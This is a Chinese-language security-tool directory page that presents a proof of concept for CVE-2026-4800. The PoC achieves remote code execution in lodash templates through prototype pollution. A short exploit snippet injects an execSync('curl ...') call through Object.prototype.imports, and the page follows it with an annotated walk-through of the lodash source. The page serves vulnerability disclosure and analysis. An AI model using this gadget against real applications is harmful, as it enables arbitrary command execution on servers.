Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-4800-POC — 概念验证,演示如何通过原型污染在 lodash 模板中实现远程代码执行,并详细分析攻击流程与利用技术。 | Kitploit
工具/GitHubGitHub/threalwinky/cve-2026-4800-poc
漏洞分析代码分析漏洞利用Web应用程序漏洞利用Payload 开发
GitHubthrealwinky/cve-2026-4800-poc

CVE-2026-4800-POC

概念验证,演示如何通过原型污染在 lodash 模板中实现远程代码执行,并详细分析攻击流程与利用技术。

查看仓库
24个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-4800-POC

安全公告

https://github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc

POC

root@kitploit:~
const _ = require('lodash');
Object.prototype.imports = {'x=process.getBuiltinModule("child_process").execSync("curl https://example.com")':undefined}
_.template('', {});

alt text

攻击流程

  • 首先利用先前存在的原型污染漏洞,用攻击者控制的属性污染 Object.prototype.imports

  • 接着,以普通的纯对象 options 值调用 _.template('', {})

  • 在 _.template() 内部,lodash 在 处使用 复制

lodash.js:14877
assignInWith({}, options, settings, ...)
options
root@kitploit:~
function template(string, options, guard) {
      // Based on John Resig's `tmpl` implementation
      // (http://ejohn.org/blog/javascript-micro-templating/)
      // and Laura Doktorova's doT.js (https://github.com/olado/doT).
      var settings = lodash.templateSettings;

      if (guard && isIterateeCall(string, options, guard)) {
        options = undefined;
      }
      string = toString(string);
      options = assignInWith({}, options, settings, customDefaultsAssignIn);


...
  • assignInWith 在 lodash.js:12778 处使用 keysIn(source)
root@kitploit:~
    var assignInWith = createAssigner(function(object, source, srcIndex, customizer) {
      copyObject(source, keysIn(source), object, customizer);
    });

  • keysIn() 在 lodash.js:13440 处包含继承的可枚举属性
root@kitploit:~
    function keysIn(object) {
      return isArrayLike(object) ? arrayLikeKeys(object, true) : baseKeysIn(object);
    }

  • 由于 options 对象是普通的 {},它会从 Object.prototype 继承被污染的 imports 属性,lodash 会将这个继承的值复制到本地的 options.imports 中

  • 随后 lodash 在 lodash.js:14889 处使用 assignInWith({}, options.imports, settings.imports, ...) 构建 imports,在 lodash.js:14889 处提取 importsKeys,并在 lodash.js:14957 处将它们传入 Function(importsKeys, ...)

root@kitploit:~
...

      // Cleanup code by stripping empty strings.
      source = (isEvaluating ? source.replace(reEmptyStringLeading, '') : source)
        .replace(reEmptyStringMiddle, '$1')
        .replace(reEmptyStringTrailing, '$1;');

      // Frame code as the function body.
      source = 'function(' + (variable || 'obj') + ') {\n' +
        (variable
          ? ''
          : 'obj || (obj = {});\n'
        ) +
        "var __t, __p = ''" +
        (isEscaping
           ? ', __e = _.escape'
           : ''
        ) +
        (isEvaluating
          ? ', __j = Array.prototype.join;\n' +
            "function print() { __p += __j.call(arguments, '') }\n"
          : ';\n'
        ) +
        source +
        'return __p\n}';

      var result = attempt(function() {
        return Function(importsKeys, sourceURL + 'return ' + source)
          .apply(undefined, importsValues);
      });

...
  • 我污染的关键字被当作带有默认表达式的形参处理:

    root@kitploit:~
    x=process.getBuiltinModule("child_process").execSync("curl https://example.com")
    
下载工具